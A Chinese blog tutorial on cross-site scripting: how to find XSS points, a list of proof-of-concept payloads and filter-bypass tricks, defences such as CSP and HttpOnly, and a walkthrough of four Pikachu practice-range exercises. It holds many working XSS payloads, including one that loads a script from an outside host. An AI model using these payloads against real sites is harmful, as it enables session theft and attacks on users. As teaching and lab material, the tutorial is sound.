★★實戰前置聲明★★
文章中涉及的程序(方法)可能帶有攻擊性,僅供安全研究與學習之用,讀者將其信息做其他用途,由用戶承擔全部法律及連帶責任,文章作者不承擔任何法律及連帶責任。
1、XSS漏洞挖掘與繞過
1.1、XSS漏洞挖掘
數據交互(輸入/輸出)的地方最容易產生跨站腳本,最重要的是考慮輸入、輸出在什么地方。一般常會對網站的輸入框、URL參數、COOKIE、POST表單、HTTP頭內容進行測試。
1.2、手工測試XSS步驟
1、找到測試點,比如搜索框、留言板。
2、根據測試流程首先實驗一些特殊符號的輸入,發現可以正常輸出,說明后端并沒有進行相關的過濾。比如:'<>?"&/6666
3、如果有過濾則進行相關的繞過。
1.3、XSS常見POC
常見XSS語句<script>
標簽
<script>alert(1)</script>
<script src=http://baidu.cn/xss/xss.js></script>
'><script>alert(1)</script>
常見XSS語句<img>
標簽
<img src=x onerror=alert(/xss/)>
<img src=javascript:alert(1)> //版本,E7.0|IE6.0,才能執行
<img src=# onmouseover="alert(1)">
常見XSS語句<a>
標簽
"> <a href=javascript:alert('xss') > xss</a>
"> <a href="" οnclick="alert(1)"> xss</a>
1.4、XSS漏洞繞過方法
// 1.大小寫繞過
<ScRiPt>alert(1)</ScRiPt>
// 2.雙寫繞過
<sc<script>ript>alert(/xss/)</script>
// 3.反引號繞過
`` 繞過單雙引號的過濾
// 4.關閉標簽(利用<>關閉標簽)
"> <script>alert(1)</script>
// 5.超鏈接標簽
< a href= > 1 </ a>
// 6.圖片鏈接繞過
< img src=1 onerror=alert(1)>
// 7.編碼繞過
-- 八進制、十進制、十六進制編碼、html實體編碼、url編碼、base64等
// 8.空格、回車、換行符、tab、混淆
2、XSS漏洞防御
2.1、CSP內容安全策略
CSP全稱:Content Security Policy,內容安全策略:禁止加載外域代碼,防止復雜的攻擊邏輯;禁止外域提交,網站被攻擊后,用戶數據不會泄露到外域;禁止內聯腳本執行(規則較嚴格);禁止未授權的腳本執行。
2.2、設置HttpOnly
通過設置HttpOnly防止cookie被竊取
2.3、輸入輸出檢查
前端js和后端(php)完善的過濾機制:輸入驗證和輸出編碼。也可以做硬件防護:WAF和數據庫安全等。
< 轉成<
> 轉成>
& 轉成&
" 轉成"
' 轉成'
2.4、白名單或者黑名單
白名單驗證:檢查用戶提交的數據,只接受指定長度范圍內,適當格式和預期字符的輸入,其余一律過濾。
黑名單驗證:過濾包含XSS代碼特征的內容,比如:<、 >、script、#
等
3、pikachu靶場4個場景實驗
3.0、總體思路說明
先隨便填寫提交,看界面展示數據,右擊查看頁面源碼數據是與回顯一樣,然后根據數據結構確定構建poc提交驗證。
測試驗證內容
'<>?"&/6666
3.1、xss之過濾
3.1.1、正常操作
輸入’<>?"&/6666,發現顯示有點奇怪,按F12看源碼發現內容回顯,被單引號包起來,界面顯示如下:
3.1.2、查看源碼
輸入如下內容,按F2看源碼,發現輸入的內容script標簽的內容全部被過濾掉了
我測試一下'<script>alert(1)</script>
3.1.3、確定攻擊poc
以下是驗證通過的poc
<ScRiPt>alert(1)</ScRiPt>
<svg onload=alert(1)>
<body onload=alert(1)>
<input type=image src=1 onerror=alert(1)>
3.2、xss之htmlspecialchars
3.2.1、正常操作
輸入’<>?"&/6666,界面顯示如下:
3.2.2、查看源碼
查看源碼,發現輸入的內容,是填充在a標簽的href和標簽內,有被編碼過的,href是用單引號的。
3.2.3、確定攻擊poc
攻擊poc就可以采用a標簽彈窗方式的語句了
<a href=javascript:alert('xss') > xss</a>
注意:只取href里面的部分,且alert()的內容需要用雙引號,或者用數字的方式。
驗證成功的poc
javascript:alert("test")
javascript:alert(123)
3.3、xss之href輸出
3.3.1、正常操作
輸入’<>?"&/6666,界面顯示如下:
3.3.2、查看源碼
查看源碼,發現輸入的內容,是填充在a標簽的href內,沒有被編碼過的。
3.3.3、確定攻擊poc
攻擊poc就可以采用a標簽彈窗方式的語句了
<a href=javascript:alert('xss') > xss</a>
注意:只取href里面的部分,且alert()的內容用單/雙引號都可,或者用數字的方式。
驗證成功的poc
javascript:alert('test')
javascript:alert("test")
javascript:alert(123)
3.4、xss之js輸出
3.4.1、正常操作
輸入’<>?"&/6666,不顯示任何東西,換成123嘗試,界面顯示如下:
3.4.2、查看源碼
根據上面顯示的內容,定位到p標簽有一個id=“fromjs”,嘗試搜索關鍵字:fromjs,發現頁面有一段javascript代碼,因此采用嘗試閉合標簽的方式。
3.4.3、確定攻擊poc
驗證成功的poc
</script><script>alert(1)</script>
</script><svg onload=alert(1)>
</script><img src=1 onerror=alert(1)>
4、總結
本文是Web漏洞-XSS攻擊的第三篇,至此XSS攻擊相關內容就告一段落。當時在做pikachu靶場實驗【XSS之js輸出】時完全沒有頭緒,前面9個實驗的POC都無效,后來問了我的老師給我提示,查看源碼了嘗試閉合標簽的方式,就瞬間明白了。有時知道一個知識點,到實際運用還是會懵,因此需要多練。與大家共勉。
后面會有CSRF、SSRF,SQL注入等內容的分享,其中SQL注入內容會比較多。還有一些PHP,Python編程的基礎知識,如果大家感興趣的話,可以留言反饋,我再整理出來分享也可以。
5、資料獲取
靶場環境搭建請參考《靶場環境搭建【XP、pikachu、dvwa、sqli-labs】》